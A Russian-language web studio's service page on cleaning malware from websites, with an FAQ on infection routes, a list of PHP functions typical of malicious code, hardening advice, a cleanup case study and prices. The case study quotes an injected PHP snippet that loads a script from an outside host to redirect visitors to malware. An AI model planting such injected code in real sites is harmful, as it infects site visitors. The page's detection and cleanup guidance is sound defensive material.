Лечение вирусов на сайте

Вредоносное ПО может размещаться на самых разных сайтах. Хакеры могут использовать бесплатные службы веб-хостинга, создавать новые сайты, специально предназначенные для атаки, а также захватывать существующие сайты, превращая их в базу для атаки. В большинстве случаев для заражения жертв используются скрипты (обычно на JavaScript). Так же, как обычные скрипты зачастую опрашивают клиентский браузер, чтобы обеспечить корректное отображение страницы, вредоносные скрипты могут запрашивать браузер, чтобы загрузить подходящий эксплойт.

Вирусы на сайте это всегда неприятно. Хостер отключает отправку почты, искать их долго и неудобно.

Наша компания поможет в устранении любых вирусов на сайте с гарантией выполненных работ.

Все услуги

Вопросы и ответы

1Как вредоносный код попал на мой сайт?
Вредоносный код может быть добавлен на сайт умышленно или случайно: злоумышленником, который получил доступ к серверам или системе управления сайтом; владельцем сайта (например, код баннерной системы, счетчика веб-аналитики) — сторонние ресурсы могут быть взломаны; пользователем сайта, если есть возможность оставлять сообщения или загружать файлы.
2Как найти вредоносный клиентский код на своём сайте?

С чего начать?

Проанализируйте способы заражения:

  • Злоумышленник может получить пароли к администраторским панелям CMS, FTP или SSH аккаунтам. Обычно пароли подбирают или крадут с помощью троянских программ, заразивших компьютер вебмастера.

  • Уязвимости веб-приложения могут позволять посторонним размещать на сайте произвольный код.

  • Из-за заражения внешнего ресурса (партнерской программы, баннерной системы, счётчика) предоставленный вам код может стать опасным для пользователей.

Найдите браузерный вредоносный код

Проанализируйте информацию о заражении в Яндекс.Вебмастере, в разделе Безопасность и нарушения. Раздел содержит перечень зараженных страниц, даты проверок и вынесенные антивирусом вердикты. Перейдя по ссылке в названии вердикта, вы увидите его описание и примерный вид кода, соответствующего вердикту (кода, который непосредственно появляется на страницах сайта).

Вы также можете самостоятельно воспроизвести проблему с помощью виртуальной машины.

Найдите серверный вредоносный код

  1. Остановите веб-сервер, чтобы оградить посетителей сайта от потенциальной опасности. Затем проверьте антивирусом файлы веб-сервера и все рабочие станции, с которых администрируют сервер (можно использовать бесплатные антивирусные утилиты) и смените все пароли: root, FTP, SSH, от административных панелей хостинга и CMS.
  2. Если до заражения была сделана резервная копия сайта, восстановите ее.
  3. Обновите до последних версий все используемые сайтом программы и поищите описания исправленных уязвимостей. Возможно, это поможет понять, каким образом сайт был заражен.
  4. Удалите лишних пользователей с расширенными правами и тщательно проверьте сервер на наличие веб-шелла, с помощью которого злоумышленник может изменять код сайта в обход авторизации.
  5. Проверьте наличие вредоносного кода:
    • во всех серверных скриптах, шаблонах CMS, базах данных;

    • в конфигурационных файлах веб-сервера или интерпретатора серверных скриптов;

    • если вы используете shared-хостинг, проверьте другие сайты, расположенные на том же сервере — может быть заражен весь сервер.

Признаки вредоносного кода:

  • Код посторонний или незнакомый, не соответствует резервной копии или системе контроля версий.

  • Обфусцированный (нечитаемый, неструктурированный) код.

  • Дата модификации файлов совпадает с временем заражения или более поздняя. Этот параметр ненадежен, так как дата модификации файлов может быть изменена вирусом.

  • Использование характерных для вредоносного кода функций. Примеры таких функций для языка PHP:

    • динамическое исполнение кода (eval, assert, create_function);

    • обфускация (base64_decode, gzuncompress, gzinflate, str_rot13, preg_replace);

    • загрузка удаленных ресурсов (file_get_contents, curl_exec).

Вредоносный код удален, что дальше?

Пометка об опасности сайта в результатах поиска будет снята, если при очередной проверке робот Яндекса не обнаружит заражения. Чтобы ускорить перепроверку, в интерфейсе Яндекс.Вебмастера, в разделе Безопасность и нарушения, нажмите кнопку Я все исправил.

Рекомендуем в течение нескольких недель после заражения регулярно перепроверять файлы и код сайта на тот случай, если использованная уязвимость не была устранена или злоумышленники по прежнему имеют доступ к сайту.

3Как защитить сайт от новых заражений?

Как помешать злоумышленникам разместить вредоносный код на своем сайте

  1. Используйте надежное программное обеспечение.

    • Загружайте дистрибутивы веб-приложений и расширения/плагины для CMS из проверенных источников.

    • Регулярно обновляйте CMS и серверное ПО, следите за новостями об уязвимостях используемой CMS.

    • Регулярно проводите аудит безопасности серверов.

    • После установки CMS удаляйте установочные и отладочные скрипты.

  2. Используйте сложные пароли от веб-серверного ПО (FTP, SSH, административные панели хостинга и CMS).

    • Сложный пароль содержит не менее 11 символов и включает в себя буквы в разных регистрах, цифры, и специальные символы.

    • Не используйте одинаковые пароли для доступа к разным сервисам.

    • Даже самые надежные пароли рекомендуется менять раз в три месяца, чтобы обезопаситься от случайной утечки.

    • Не сохраняйте важные пароли в веб-браузерах, файловых менеджерах, а также FTP-, SSH- и прочих клиентах.

  3. Следите за безопасностью рабочих компьютеров.

    На всех компьютерах, с которых ведется работа с сервером (машины вебмастера, администратора, контент-менеджера, менеджера по продажам и т.д.) должны быть установлены антивирусы с поддержкой регулярных обновлений. Также необходимо своевременно обновлять операционную систему и прикладные программы.

  4. Контролируйте данные, вводимые пользователями.

    • Фильтруйте HTML-разметку во вводимых пользователями данных, которые могут встраиваться в код страниц сайта.

    • Получая данные от пользователя, проверяйте на сервере, допустим ли их размер, входят ли переданные значения в допустимые списки и интервалы.

    • Никогда не вставляйте полученные от пользователей данные напрямую в вызовы eval(), SQL-запросы или в преобразование типов. Всегда проверяйте и очищайте полученную информацию от потенциально опасных элементов.

    • Не оставляйте в рабочей версии кода параметры, введенные для отладки, эксперименты с новой или отключенной функциональностью.

    • Используйте WAF (Web Application Firewall).

  5. Контролируйте права доступа пользователей, в частности, предусмотрите защиту от межсайтовой подделки запросов (CSRF).

    Ограничьте доступ к панелям администрирования CMS и БД (например, phpMyAdmin), а также:

    • к резервным копиям кода;

    • к конфигурационным файлам;

    • к метаданным систем контроля версий (например, к каталогам .svn или .git).

  6. По возможности скрывайте версии серверного ПО (CMS, веб-сервера, интерпретатора сценариев, СУБД).

  7. Настраивайте файрволы и сетевую инфраструктуру так, чтобы были разрешены только соединения, необходимые для работы.

  8. Старайтесь избежать кликджекинга. Простейшие проверки, предназначенные для этого:

    • Вывод HTTP заголовка X-FRAME-OPTIONS SAMEORIGIN или X-FRAME-OPTIONS DENY.

    • Javascript-конструкции вида
      if (top.location != window.location) top.location = window.location
      или
      top.location = 'http://example.com'
  9. Рекомендуем хостингам регулярно проверять поддерживаемые сайты, с помощью Safe Browsing API Яндекса или API Яндекс.Вебмастера.

Как не дать разместить вредоносный код пользователям сайта

Если посетители вашего сайта могут загружать файлы или текст на ваш сайт, вредоносный код может оказаться в загруженном контенте (умышленно или случайно).

  1. Защищайтесь от ботов.

    Для защиты от роботов-взломщиков можно использовать специальные плагины к CMS или искать IP-адреса пользователей в черных списках.

  2. Проверяйте данные, которые могут ввести пользователи.

    • Не давайте возможности вставлять JavaScript-код внутри script в тегах или ссылках.

    • Не вставляйте напрямую на страницы сайта код в тегах iframe, object, embed, и не подгружайте файлы .jar, .swf и .pdf (с их помощью сайт может генерировать такие теги автоматически).

    • Поддерживайте «белый список» разрешённых HTML-тегов, чтобы без дополнительной обработки отбрасывать все остальные.

    • Проверяйте вставленные пользователями ссылки, например, через Safe Browsing API Яндекса.

Как не разместить вредоносный код случайно

  1. Проверяйте используемое ПО.

    • Скачивайте дистрибутивы CMS, виджеты, библиотеки только с официальных сайтов или из проверенных источников.

    • Если какой-то дистрибутив приходится скачать с сомнительного сайта, обязательно проверьте наличие в нем вредоносного кода.

    • Внимательно изучайте код любых дополнительных компонентов, которые вы хотите добавить в CMS.

  2. Будьте осторожны с рекламными блоками и кодом.

    • Вставляйте на страницы своего сайта только те рекламные блоки, которые были предоставлены проверенными рекламными системами.

    • Прежде чем подключить сайт к новой партнерской системе, ищите отзывы о ней и примеры распространяемого контента.

    • Избегайте «уникальных предложений» (подозрительно высокая плата за счётчики и блоки, монетизация мобильного трафика).

    • По возможности встраивайте на свои страницы статический контент (ссылки и картинки). Избегайте подгружаемых элементов script и iframe . Flash, Java и ActiveX-компоненты принимайте только в виде исходного кода, который можно проверить и скомпилировать самостоятельно.

    • Не используйте партнёрские программы со скрытыми блоками.

  3. Внимательно контролируйте доступы к служебным интерфейсам. Доступом к сайту должны обладать только те, кому доступ необходим и пока он необходим.

    • Отзывайте доступ специалистов, выполнявших разовые работы, предыдущих владельцев, людей, не ответственных за работу сайта (например, специалистов по маркетингу или руководителей).

    • Привлекая к работе над сайтом посторонних людей, старайтесь получить какие-нибудь рекомендации. После окончания работ — отключайте их учетные записи или меняйте пароли.

    • Если ваш сайт — статический, некоторые партнёрские системы могут запросить доступ по FTP, чтобы самостоятельно менять баннеры. Предоставлять такой доступ опасно: если база данных партнерской системы будет взломана, злоумышленники получат прямой доступ к файлам на вашем сайте.

  4. Ищите надежный и качественный хостинг. Не все хостеры качественно обеспечивают безопасность своих серверов, а некоторые могут сознательно заражать сайты клиентов.

Как происходит лечение сайта от вирусов

Диагностика и сканирование сайта
Проводится сканирование файлов сайта на хостинге на наличие вирусов, веб-шеллов, бэкдоров, спам-рассыльщиков, фишинговых страниц, дорвей-страниц и других вредоносных и хакерских скриптов. Выполняется диагностика страниц сайта внешним сканером для определения мобильных и поисковых редиректов, опасных виджетов и кодов недобросовестных рекламных сетей. Проверяется база данных на наличие хакерских вставок и вирусных инжектов.
Лечение файлов и баз данных
Обнаруженные вредоносные фрагменты и хакерские скрипты аккуратно удаляются специалистами, сохраняя работоспособность сайта.
Исключение из черных списков
Если сайт заблокирован антивирусом или попал в «черный список» поисковых систем, мы самостоятельно направляем заявку на повторную проверку сайта и исключаем сайт из баз вредоносных сайтов.
Подробный отчет
После завершения работ по установке защиты сайта мы предоставляем подробный отчет о выполненных работах: список вылеченных файлов, внесенные изменения в настройки сайта и хостинга, а также рекомендации по безопасной работе с сайтом в будущем. Также предоставляется доступ к справочной странице, содержащей детальное описание работы с защищенным сайтом (как отключать и включать защиту, как менять пароль и пр.).

Подготовка к лечению

Пример лечения вирусов

Клиент жаловался на вирусы и редиректы на своем сайте, в результате первичного осмотра было замечено, что есть внедрения постороннего кода в страницы сайта.

Было произведено полное сканирование сайта, которое подтвердило, что в очень многие страницы был встроен чужой код.

В php файлы всего сайта, порядка 10 000 штук был внедрен вирусный код

#14b77e#
if(empty($sjnqy)) {
$sjnqy = «<script type=\»text/javascript\» src=\»http://areaftp.lasercom.it/test/cgi/cnrtjy89.php?id=8172285\»></script>»;
echo $sjnqy;
}
#/14b77e#

Данный код встраивает во все зараженные файлы редирект на сайт с вирусами, переходя на который, обычные пользователи сайта либо заражают свой компьютер, либо выполняют какое либо действие, необходимое злоумышленникам. Устранение данного кода вручную привело бы к многонедельной работе.

Сделать это автоматически довольно сложно, так как в разных файлах вирус меняет вхождения окончания ?id=8172285 на любые цифры, в результате чего поиск строк не приведет к хорошему результату. В результате диагностики сайта было принято решение устранить вирусы, с помощью SSH команд, а именно поиск прямого вхождения:

   find -name ‘*.php’ -exec sed -i ‘/cnrtjy89/d’ {} \;

Таким образом мы ищем во всех php файлах вхождение строки cnrtjy89 что является уникальным вхождением вирусной строчки Troj/JsRedir-NN. После нахождения данной строки команда затирает всю строку целиком, в результате у нас остается безвредный код комментариев.

Лечение завершено!

Цены на лечение вирусов

Единоразовое лечение

80р.

  • Сканирование всего сайта
    Лечение вирусов
    Отчет о проделанной работе

Лечение плюс

120р.

  • Сканирование всего сайта
    Обновление ПО сайта
    Лечение вирусов
    Отчет о проделанной работе
    Гарантия на работы 3 месяца
    Периодические просмотры состояния сайта

Все включено

199р.

  • Аудит сайта
    Устранение брешей (обновление версий ПО сайта, настроек хостинга)
    Сканирование всего сайта
    Лечение вирусов
    Отчет о проделанной работе
    Гарантия на работы 12 месяцев
    Периодические просмотры состояния сайта
    Рекомендации по устранению дыр на сайте

Лечение нескольких сайтов

по запросу

126 Веб сайтов
Разработано
98 Счастливых
Клиентов
176 Разработанных
Дизайнов
16 Выйграно
Наград

Наши клиенты

Создание сайтов полного цикла, от разработки прототипов до тестирования готового проекта. Присоединяйтесь!
Контакты

Минск
Уручская 21

Телефон: (29) 628-0123

E-Mail:info@sitelab.by